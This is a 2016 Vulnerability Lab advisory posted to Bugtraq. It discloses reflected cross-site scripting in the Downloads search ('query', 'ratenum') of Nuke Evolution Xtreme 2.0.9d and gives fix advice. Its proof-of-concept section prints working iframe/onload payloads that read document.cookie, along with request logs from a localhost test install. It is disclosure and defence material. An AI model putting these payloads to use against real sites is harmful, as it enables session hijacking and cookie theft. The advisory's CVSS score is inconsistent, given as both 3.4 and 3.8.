[<prev] [next>] [day] [month] [year] [list]
Message-ID: <95b18921-c70a-b703-a26e-ef8115d15c65@vulnerability-lab.com>
Date: Tue, 9 Aug 2016 09:30:51 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Nuke Evolution 2.0.9d - Multiple Client Side Cross Site Scripting
Vulnerabilities
Document Title:
===============
Nuke Evolution 2.0.9d - Multiple Client Side Cross Site Scripting Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1894
Release Date:
=============
2016-08-09
Vulnerability Laboratory ID (VL-ID):
====================================
1894
Common Vulnerability Scoring System:
====================================
3.4
Product & Service Introduction:
===============================
Nuke-Evolution Xtreme is a very simple and useful Content Management System with connected mysql database application.
(Copy of the Homepage: http://evolution-xtreme.com )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client side cross site vulnerabilities in the Nuke Evolution Xtreme v2.0.9d CMS with Php-Nuke 7.6p3.1 core.
Vulnerability Disclosure Timeline:
==================================
2016-08-09: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Nuke Evolution
Product: Xtreme - Content Management System (Evo Core) 2.0.9d, 2.0.8 and 2.0.7
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official Nuke Evolution Xtreme v2.0.9d CMS.
The vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application requests.
The cross site scripting vulnerabilities are located in the `query` and `ratenum` parameters of the `Download Search` module.
The attacker injects the payload to the client-side requested parameter to compromise the `top` and `query` search results output.
The injection points are the vulnerable marked parameters and the execution point occurs in the search results output web context
of the `modules.php` file. The request method to inject is variable and can be POST or GET because both methods are supported for
the search module. The output context of the search input is wrong parsed and thus allows to execute client-side script code
in the download search webpage output context.
The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.
Request Method(s):
[+] GET
[+] POST
Vulnerable Module(s):
[+] Downloads - Search
Vulnerable File(s):
[+] modules.php
Vulnerable Parameter(s):
[+] query
[+] ratenum
Affected Version(s):
[+] Nuke Evolution: Xtreme v2.0.9d
[+] Evo Core: Php-Nuke 7.6p3.1
[+] Security: Sentinel v2.6.0.1
Proof of Concept (PoC):
=======================
The client-side cross site vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC #1: Vulnerable Source (Search Results - /nukeevolution/modules.php)
<div class="tables-wrap">
<div class="tables-hd">
<span class="tables-hd-left"></span>
<span class="tables-hd-right"></span></div>
<div class="tables-body">
<span class="tables-body-left"></span>
<span class="tables-body-right"></span>
<div class="tables-body-content">
<div class="title" style="text-align: center">
<strong>Search Results for:
test >%20"<iframe src="./evil_source" onload="alert(document.cookie)"[CLIENT SIDE SCRIPT CODE EXECUTION] <<="" strong=""></div>
</div></div>
<div class="tables-ft">
<span class="tables-ft-left"></span>
<span class="tables-ft-right"></span>
</div></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=test
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=(CLIENT-SIDE SCRIPT CODE INEJCT!)]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470496874.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
POST-Daten:
query[test+%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C(CLIENT-SIDE SCRIPT CODE INJECT)]
Response Header:
Server[nginx/1.2.1]
Date[Sat, 06 Aug 2016 15:21:52 GMT]
Content-Type[text/html]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[CNB_test1=value1
CNB_test2=value2; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600
CNB_test3=value3; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600; path=/
CNB_test4=value4; expires=Sat, 06-Aug-2016 16:21:52 GMT; Max-Age=3600]
Vary[Accept-Encoding]
-
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/a[CLIENT-SIDE SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=search&query=test]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470496874.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Transfer-Encoding[chunked]
Connection[keep-alive]
PoC #2: Vulnerable Source (Top Most Search Results - /nukeevolution/modules.php)
<div class="tables-wrap">
<div class="tables-hd">
<span class="tables-hd-left"></span>
<span class="tables-hd-right"></span>
</div>
<div class="tables-body">
<span class="tables-body-left"></span>
<span class="tables-body-right"></span>
<div class="tables-body-content">
<table border="0" width="100%"><tbody><tr><td align="center">
<center><span class="option"><strong>
Most Popular - Top "><iframe src="a" onload="alert(document.cookie)[CLIENT-SIDE SCRIPT CODE EXECUTION!]" <<="" strong="">
</span></center>
<tr><td align='center'>
Show Top: [ <a href='modules.php?name=Downloads&op=MostPopular&ratenum=10&ratetype=num'>10</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=25&ratetype=num'>25</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=50&ratetype=num'>50</a> |
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=1&ratetype=percent'>1%</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=5&ratetype=percent'>5%</a> -
<a href='modules.php?name=Downloads&op=MostPopular&ratenum=10&ratetype=percent'>10%</a> ]
</td></tr></table><table border='0' cellpadding='0' cellspacing='4' width='100%'>
</tr></table>
</div>
</div>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)[CLIENT-SIDE SCRIPT CODE INJECT!]%20%3C&ratetype=num
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470497691.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Sat, 06 Aug 2016 15:36:41 GMT]
Content-Type[text/html]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[CNB_test1=value1
CNB_test2=value2; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600
CNB_test3=value3; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600; path=/
CNB_test4=value4; expires=Sat, 06-Aug-2016 16:36:41 GMT; Max-Age=3600]
Vary[Accept-Encoding]
-
Status: 200[OK]
GET http://nuke-evolution.localhost:8080/nukeevolution/x[CLIENT-SIDE SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[nuke-evolution.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&ratetype=num]
Cookie[CNB_test1=value1; CNB_test2=value2; CNB_test4=value4; admin=YWRtaW46NjJjYzJkOGI0YmYyZDg3MjgxMjBkMDUyMTYzYTc3ZGY6OjE6bmV3; cat1234sessionid=o849a9i5uu8498fvv36rikcno0; PHPSESSID=er8ovff0hhbf71bub14vqdqov6; CNB_test3=value3; nukeevo_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A1%3B%7D; nukeevo_sid=bb06d62a66248e2d66afbfa5829e125d; _pk_id.2.bb5e=5634b8be8bb9eb0d.1470494705.2.1470497691.1470496618.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Sat, 06 Aug 2016 15:36:41 GMT]
Content-Type[text/html; charset=iso-8859-1]
Transfer-Encoding[chunked]
Connection[keep-alive]
Reference(s):
http://nuke-evolution.localhost:8080/
http://nuke-evolution.localhost:8080/nukeevolution/
http://nuke-evolution.localhost:8080/nukeevolution/modules.php
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=
http://nuke-evolution.localhost:8080/nukeevolution/modules.php?name=Downloads&op=MostPopular&ratenum=&ratetype=num
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the vulnerable query and ratenum parameters of the modules.php file GET method request.
Disallow the usage of special chars and filter the input to prevent client-side script code injects via POST or GET method in the search.
Escape the entries in case of emergency to prevent further injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the nuke evolution extreme cms are estimated as medium. (CVSS 3.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@...nerability-lab.com - research@...nerability-lab.com - admin@...lution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@...nerability-lab.com) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
Powered by blists - more mailing lists